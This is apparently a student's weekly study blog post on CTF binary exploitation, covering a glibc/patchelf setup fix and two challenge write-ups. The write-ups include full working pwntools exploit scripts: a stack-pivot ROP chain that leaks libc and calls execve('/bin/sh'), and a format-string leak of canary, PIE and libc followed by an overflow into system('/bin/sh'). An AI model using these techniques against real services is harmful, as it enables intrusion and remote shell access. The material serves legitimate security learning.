23-12-11

本周学习总结

重新安装了虚拟机环境,虽然还不是很完善,将就着用吧。

仍然发现有许多漏洞不会用,导致做题目很慢。

期末辣!不想考试啊!

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、“not-found-Glibc2.34 错误”解决办法

使用 glibc-all-in-one + patchelf 办法解决。

1.patchelf下载

1
2
git clone https://github.com/NixOS/patchelf.git   
cd patchelf

2.patchelf安装

1
2
sudo apt-get install autoconf automake libtool
./bootstrap.sh

3.glibc-all-in-one下载

1
sudo git clone https://github.com/matrix1001/glibc-all-in-one.git #也可以自行去官网下载然后解压cd glibc-all-in-one/

4.glibc-all-in-one安装

1
sudo python3 update_list

5.下载glibc

1
cat list    //选择你需要的版本sudo ./download <版本文件名> 

6.更换elf文件的libc版本

假设已经下载了glibc版本2.34-0ubuntu3_amd64

1
patchelf --set-interpreter /root/桌面/glibc-all-in-one/glibc-all-in-one-master/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./bin patchelf --set-rpath  /root/桌面/glibc-all-in-one/glibc-all-in-one-master/libs/2.35-0ubuntu3_amd64/ ./bin

7.收工!

二、Medium–PWNYU–下次做栈迁移记得带草稿本

下载得到文件pwn

Check!

64位,NX开启。

Ida,启动!

发现程序主要逻辑。

第一次输入溢出0x10,第二次输入向bss段中写入0x50,程序中无system无/bin/sh,

使用栈迁移办法来解决这道题。

第一次迁移到bss段是暴露write真实地址,由于无法控制第三个参数,我们只能赌运气。

拿到write真实地址后通过网站查询的到libc基地址。

网站:https://libc.blukat.me/?q=write%3Aa60&l=libc6_2.35-0ubuntu3.4_amd64

算出/bin/sh的地址和函数execve的地址(system打不通),通过libc文件的指令控制第二和第三寄存器。在第二次迁移中完成execve。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

p = remote("docker.nh0pe.top", 32891)

elf = ELF("./pwn")

bss_addr = 0x6010A0
fun_addr = 0x4006CE
leave_ret = 0x400758
pop_rdi = 0x400813
pop_rsi_r15 = 0x400811
# ROPgadget+分析elf文件得到

payload = b'A' * 0x50 + p64(bss_addr) + p64(leave_ret)
p.send(payload)
# 构造栈+栈迁移

p.recvuntil(b"Hello,")
p.recv(96)

payload = p64(bss_addr + 0x50) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(elf.got["write"]) + p64(0) + p64(elf.plt["write"]) + p64(fun_addr)
p.send(payload)
# 编写栈+二次构造栈+二次栈迁移+write暴露write真实地址

write_real = u64(p.recv(6).ljust(8, b'\x00'))

print("write_real:" + hex(write_real))

libc_base = write_real - 0x114a60

print("libc_base:" + hex(libc_base))

bin_addr = libc_base + 0x1d8698
execve_addr = libc_base + 0xeb080
libc_rsi = libc_base + 0x2be51
libc_rdx = libc_base + 0x796a2
# 网站查询得到,libc文件中也有寄存器控制片段

p.recvuntil(b"name?\n")

payload = b'A' * 0x50 + p64(bss_addr) + p64(leave_ret)
p.send(payload)
# 三次栈构造+三次栈迁移

p.recvuntil(b"Hello,")
p.recv(96)

payload = b'A' * 8 + p64(pop_rdi) + p64(bin_addr) + p64(libc_rsi) + p64(0) + p64(libc_rdx) + p64(0) + p64(execve_addr)
p.send(payload)
# 二次编写栈+获得shell

p.interactive()

flag到手

三、Medium–woc,你真的出堆题–俗称字格万岁

下载得到文件pwn

check!

保护全开,64位程序。

ida,启动!

main函数:

menu函数:

edit函数:

show函数:

add函数:

Delete函数:

read_text函数:

主要漏洞是在read_text函数中有0x50的溢出,show函数中有字符串格式化漏洞。

程序运行到show函数时候栈内的情况:

看得到在0x7fffffffe538和0x7fffffffe558处都有canary的值(特征为8字节尾号为0),0x7fffffffe578处为main函数的运行时地址,用于暴露pie基地址,0x7fffffffe608出则是有__libc_start_main+128的真实地址,用于暴露libc。偏移分别为:11、15、33。

通过无限循环来达到多次输入溢出,直到获得shell。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = remote("docker.nh0pe.top", 35215)

elf = ELF("./pwn")

ret = 0x101a
# ROPgadget获得

p.sendlineafter(b"your choice :\n", str("1").encode())

p.sendlineafter(b"Please inputs you size:\n", str("50").encode())

payload = b"%11$p%15$p%33$p"

p.sendafter(b"your text:\n", payload)
# 创建第一个字符串

p.sendlineafter(b"your choice :\n", str("3").encode())
p.sendlineafter(b"index :\n", str("0").encode())
# 输出第一个字符串

canary = int(p.recv(18), 16)
pie_addr = int(p.recv(14), 16) - 0x16E3
libc_start = int(p.recv(14), 16) - 128
libc_base = libc_start - 0x029dc0

print("canary:" + hex(canary))
print("pie_addr:" + hex(pie_addr))
print("libc_base:" + hex(libc_base))

libc_rdi = libc_base + 0x2a3e5
libc_ret = libc_base + 0x29139
sys_addr = libc_base + 0x050d70
bin_addr = libc_base + 0x1d8698
puts_addr = libc_base + 0x80e50
# 通过网站查询获得

p.recvuntil(b"your choice :\n")

p.sendline(str("4").encode())
p.sendlineafter(b"index :\n", str("0").encode())

payload = b'A' * 56 + p64(canary) + b'A' * 24 + p64(pie_addr + ret) + p64(pie_addr + 0x16E3)

p.send(payload)
# 重新编写第一个字符串+跳转到main函数验证溢出是否正确

p.sendlineafter(b"your choice :\n", str("4").encode())
p.sendlineafter(b"index :\n", str("0").encode())

payload = b'A' * 56 + p64(canary) + b'A' * 24 + p64(libc_ret) + p64(libc_rdi) + p64(bin_addr) + p64(sys_addr)

p.send(payload)
# 获得shell

p.interactive()

flag到手

下周学习计划

| 应该要做的事情 |

学习感受


23-12-11
https://zlsf-zl.github.io/2023/12/11/12-11-12-17/
作者
ZLSF
发布于
2023年12月11日
许可协议